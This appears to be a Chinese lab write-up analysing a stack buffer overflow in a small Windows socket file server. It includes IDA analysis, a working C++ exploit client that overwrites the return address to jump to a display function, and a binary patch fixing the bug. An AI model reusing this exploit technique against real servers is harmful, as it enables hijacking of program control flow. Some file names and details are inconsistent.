文件列表:
SSEx.exe : 编译生成的可执行文件
已知所给的代码中存在安全漏洞
题目文件百度网盘链接:link
提取码:fwle
操作系统 | Windows 10 |
---|---|
C/C++ IDE | Visual Studio 2019 |
反编译工具 | IDA Pro 64-bit |
十六进制编辑器 | WinHex v20.3 |
分析日期 | 缓冲区溢出 |
漏洞类型 | 缓冲区溢出 |
危害等级 | 中危 |
威胁类型 | 本地 |
文件名 | SSEx |
---|---|
文件类型 | 应用程序(.exe) |
大小 | 10.0 KB (10,240 字节) |
占用空间 | 12.0 KB (12,288 字节) |
创建时间 | 2021年12月5日 9:56:57 |
修改时间 | 2021年12月5日 13:59:07 |
访问时间 | 2021年12月12日 18:00:06 |
本程序为基于socket的文件传输服务端程序。
客户端与服务端建立连接,发送请求类型给服务端(5字节),若连接未断开,则将待下载的文件名长度和文件名发送给服务端,等待服务器发送文件。
服务端设计思路:服务端接收客户端的请求(阻塞式),每接收到一个客户端请求连接后,就新开一个处理文件的线程。首先接收客户端请求类型,是否为“DOWN”,是则继续接收,否则断开连接。接收到“DOWN”后,继续接收客户端发送的带下载文件信息(文件名长度,文件名)。将本地与客户端传输的文件名同名的文件将文件分块(4096字节)发送给客户端。传输结束后,在服务器控制台输出传输文件的文件名。
该程序中有三个写操作,分别对应三次recv函数(接收客户端传输数据),接收缓冲区的长度为256。前两个recv函数分别指定接收长度为5和4,均小于256,所以不存在缓冲区溢出可能。而第三个recv函数指定的接收长度为第二次recv函数接收到的文件名长度,所以当接收到的文件名长度大于256时,可能会造成溢出。
该缓冲区溢出漏洞可能会覆盖sockClient函数返回地址,使得程序转跳到攻击者构造的地址,从而改变程序执行逻辑,使得程序异常终止或者执行攻击者希望的功能。
客户端传输的文件名长度小于256。
服务端程序正常执行,完成文件传输后输出文件名。
客户端传输的文件名长度大于256。
客户端传输构造后的文件名。
服务端接收客户端传输的文件名后,造成缓冲区溢出,触发漏洞,使得程序跳转到display函数,在控制台打印输出攻击者构造的信息。
使用IDA Pro 64-bit对SSEx.exe进行反编译,可以得到整个程序的执行逻辑。程序流程图如下:
通过反编译得到汇编代码。由前面的程序执行流程可知,程序的缓冲区溢出漏洞只会出现在第三个recv函数处触发缓冲区溢出漏洞。首先转跳到clientproc函数的汇编代码处。
首先是局部变量。szBuffer为接收数据的缓冲数组,大小为100h(256字节)。buf为读取文件时的缓冲数组指针,大小为4h。fp为文件指针,大小为4h。nSize为文件内容的长度,大小为4h。nRet为socket传输的返回值,大小与4h。sockClient为传入clientproc函数的参数,大小为4h。
因此可以推出clientproc函数的栈帧分布。
可以看出如果szBuffer的写入没有进行边界检查,当写入大小超过118h时,就会覆盖掉clientproc函数的返回地址,使得clientproc函数执行完之后,转跳到攻击者所覆盖的地址,完成攻击。
为验证szBuffer写入时是否进行边界检查,顺序查看三个对szBuffer进行写入操作的recv函数。第一个和第二个的recv函数调用情况如下:
可以看到前两次recv函数的参数中,len的值分别为5和4,均小于256,所以不会造成溢出。
第三个的recv函数调用情况如下:
可以看到第三个recv函数参数中,len的值为ecx寄存器中的值。向上查看汇编代码可知,ecx寄存器中的值为第二个recv函数接收的数据,也就是客户端发送的文件名长度。也就是说,ecx寄存器中的值是由客户端决定的,并不固定。一旦客户端发送的文件名长度超过256,第三个recv函数在向szBuffer中写入接收数据的时候就可能造成缓冲区溢出。所以第三个recv函数可能会触发缓冲区溢出漏洞。
根据题目信息,攻击者希望利用缓冲区溢出漏洞,使得服务端的控制台打印输出“eXploited!”字样,那么必定会用到输出函数。根据程序执行逻辑可知,程序中存在一个display函数用于打印输出文件名。所以攻击者很有可能利用这个函数,达到攻击目的,即使得程序在缓冲区溢出后,某个函数的返回地址被更改,转跳到display函数,打印输出“eXploited!”字样。
在汇编代码中定位display函数,可以看到函数内部具体如下:
显然,display函数没有传入参数。同时,puts函数传入了一个名为msg的字符串参数。那么可以判断,msg为一个全局变量,同时,clientproc函数中会将文件名传给msg,用于文件名输出。此时返回clientproc函数中查找msg的赋值情况。
可以看到,在第三个recv函数后,将szBuffer的数据赋值给了msg中。
所以,攻击者只需要在客户端传输一个280或者更大的文件名长度和一个精心构造的文件名给服务端,就可以完成攻击目标。精心构造的文件名的前12位为eXploited!,第276到第280位为display函数的首地址,中间的数据全为0。
使用IDA对程序进行反编译后,进行调试。根据静态分析的结果,只需对第三个recv函数处进行动态调试验证即可。
首先查看clientproc函数的栈帧分布情况,比较与静态分析推测的是否相符。定位到clientproc函数调用处,设置断点,单步调试。
进入clientproc函数后,查看该函数栈帧。
与静态分析预测的栈帧结构相符。所以,想要利用该缓冲区溢出漏洞,需要将返回地址覆盖,改为display函数的入口地址。
首先需要使第二个recv函数接收一个大于280的数,才能保证第三个recv函数接收的数据长度超出缓冲数组seBuffer的长度256并且足以覆盖clientproc函数的返回地址。此时修改客户端程序,发送一个大于280的数280。
然后服务器程序的第二个recv函数接收该数据,并作为第三个recv函数的接收长度参数压入栈中。
为保证clientproc函数的返回地址能被覆盖变为display函数的入口地址,则需要构造客户端第三次发送的数据。根据静态分析和前边的动态分析,可以确认clientproc函数的返回地址与szBuffer数组的首地址相差276位。所以需要将客户端第三次发送的数据的第277~280位改为display函数的入口地址0x00401080。同时,为了在服务端控制台输出利用信息eXploited!,还需要将客户端第三次发送的数据的前几位设置为“eXploited!”。
然后客户端程序将构造好的数据发送给服务端。
服务端程序的第三个recv函数接收客户端发送的构造数据,并将其赋值给szBuffer数组,此时查看szBuffer数组中的数据。
以及clientproc函数的返回地址是否被覆盖为display函数的入口地址。
可以看到szBuffer数组中的数据已经变为客户端发送的构造数据,并且clientproc函数的返回地址成功被覆盖为display函数的入口地址0×00401080。
继续运行程序,因为szBuffer中的数据为“eXploited!”,所以服务端不会存在该文件,程序直接转跳到clientproc函数的末尾。执行到clientproc函数的返回地址,因为返回地址已经被覆盖为display函数的入口地址,所以程序转跳到display函数继续执行。
puts函数的参数为msg,有静态分析可知是一个全局变量,并且在第三个recv函数之后,将szBuffer的数据赋给了msg。所以程序执行puts函数,在控制台中打印输出“eXploited!”,漏洞利用成功。
//Cilent
//漏洞利用客户端
#include
#include
#include
#include
#include
#include
using namespace std;
#pragma comment (lib,"ws2_32.lib")
#define PORT 192
int main()
{
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
cout << "filad" << endl;
return 0;
}
SOCKET sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
cout << "创建套接字失败" << endl;
WSACleanup();
return -1;
}
//初始化网络节点
SOCKADDR_IN si;
si.sin_family = AF_INET;
si.sin_port = htons(PORT);
inet_pton(AF_INET,"127.0.0.1",&si.sin_addr.S_un.S_addr);
//连接
int ret = connect(sClient,(sockaddr*)&si,sizeof(sockaddr));
if (ret == SOCKET_ERROR)
{
cout << "网络连接失败" << endl;
WSACleanup();
closesocket(sClient);
return -1;
}
//向服务器发送消息
ret = send(sClient,"DOWN",5,0);
if (ret == SOCKET_ERROR)
{
cout << "接受失败" << endl;
WSACleanup();
closesocket(sClient);
return -1;
}
//向服务器发送消息
ret = send(sClient,"280",4,0);
if (ret == SOCKET_ERROR)
{
cout << "网络连接失败" << endl;
WSACleanup();
closesocket(sClient);
return -1;
}
//向服务器发送消息
char buf[284] = "eXploited!";
*(int*)&buf[276] = 0x00401080;
// *(int*)&buf[280] = 0x00401406;
ret = send(sClient,buf,280,0);
if (ret == SOCKET_ERROR)
{
cout << "网络连接失败" << endl;
WSACleanup();
closesocket(sClient);
return -1;
}
//关闭套接字,释放网络环境
closesocket(sClient);
WSACleanup();
return 0;
}
1、直接修改服务端程序,在第二个recv函数后添加判断机制,当recv函数接收到的数据大于szBuffer的长度时,报错并停止向下运行。
伪代码如下:
if (recv_get > 256):
print (“输入长度超出边界!”)
return
else:
继续执行
2、编写文件补丁程序,修复漏洞。在程序数据段的某一空白位置,编写上述判断机制的汇编代码。将第二个recv函数后的cmp指令处改为jmp转跳指令,转跳到添加的汇编代码的首地址,执行判断机制。
判断机制的汇编代码如下:
判断机制的汇编代码如下:
cmp [ebp+nRet], 0FFFFFFFFh
jz loc_40127E
mov eax, dword ptr [ebp+szBuffer]
mov dword ptr [ebp+nRet], eax
cmp [ebp+nRet], FFh ; >255 ?
jbe loc_401145 ; 返回继续执行第三个recv函数
jmp loc_40127E ; 返回clientproc函数继续执行clossocket函数
首先使用LoadPE软件查看CM.exe程序的区段信息,方便补丁程序定位CM.exe程序中的代码位置。
可以计算CM.exe程序的代码段的文件偏移地址为0x00400000 + 0xC00。
后续依次通过WriteFile函数向CM.exe程序中的指定位置写入汇编代码的机器码即可。各语句对应的机器码如下:
cmp [ebp+nRet], 0FFFFFFFFh {0x83,0x7D,0xFC,0xFF}
jz loc_40127E {0x0F,0x84,0xD9,0xF1,0xFF,0xFF}
mov eax, dword ptr [ebp+szBuffer] {0x8B,0x85,0xF0,0xFF,0xFF,0xFF}
mov dword ptr [ebp+nRet], eax {0x89,0x45,0xFC}
cmp [ebp+nRet], FFh {0x83,0x7D,0xFC,0xFF}
jbe loc_401145 {0x0F,0x86,0x8D,0xF0,0xFF,0xFF}
jmp loc_40127E {0xE9,0xC1,0xF1,0xFF,0xFF}
完整补丁程序代码如下:
#include
#include
using namespace std;
LPWSTR ConvertCharToLPWSTR(const char* szString)
{
int dwLen = strlen(szString) + 1;
int nwLen = MultiByteToWideChar(CP_ACP, 0, szString, dwLen, NULL, 0);//算出合适的长度
LPWSTR lpszPath = new WCHAR[dwLen];
MultiByteToWideChar(CP_ACP, 0, szString, dwLen, lpszPath, nwLen);
return lpszPath;
}
int main()
{
DWORD dwFileOffset;
DWORD FileOffset = 0x00400000 + 0xC00; //文件偏移地址
BYTE bCode = 0;
DWORD dwReadNum = 0;
//打开文件
LPCWSTR lp = ConvertCharToLPWSTR("SSEx.exe");
HANDLE hFile = CreateFile(lp, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
cout << "File not exsit or it's already opened!" << endl;
return -1;
}
dwFileOffset = 0x0040113F - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x0F');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x00401140 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x85');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x00401141 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x57');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x00401142 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x0F');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x00401143 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x00');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x00401144 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x00');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//写判断机制指令
//cmp [ebp+nRet], 0FFFFFFFFh
dwFileOffset = 0x0040209C - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x83');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x0040209D - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x7D');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x0040209E - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFC');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x0040209F - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//jz loc_40127E
dwFileOffset = 0x004020A0 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x0F');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A1 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x84');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A2 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xD9');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A3 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xF1');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A4 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A5 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//mov eax, dword ptr [ebp+buf]
dwFileOffset = 0x004020A6 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x8B');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A7 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x85');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A8 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xF0');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020A9 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020AA - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020AB - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//mov dword ptr [ebp+optval], eax
dwFileOffset = 0x004020AC - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x89');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020AD - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x45');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020AE - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFC');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//cmp [ebp+nRet], FFh
dwFileOffset = 0x004020AF - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x83');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B0 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x7D');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B1 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFC');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B2 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//jbe loc_401145
dwFileOffset = 0x004020B3 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x0F');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B4 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x86');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B5 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\x8D');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B6 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xF0');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B7 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020B8 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
//jmp loc_40127E
dwFileOffset = 0x004020B9 - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xE9');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020BA - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xC1');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020BB - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xF1');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020BC - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
dwFileOffset = 0x004020BD - FileOffset;
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
bCode = TEXT('\xFF');
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
CloseHandle(hFile);
return 0;
}
在程序的0x0040209C处的空白代码段,写入判断机制代码。
将程序中第二个recv函数后的代码改为jnz loc_40209C。
此时,当服务端接收客户端发送的文件名长度时,一旦其超过256就会直接断开连接,不执行第三个recv函数。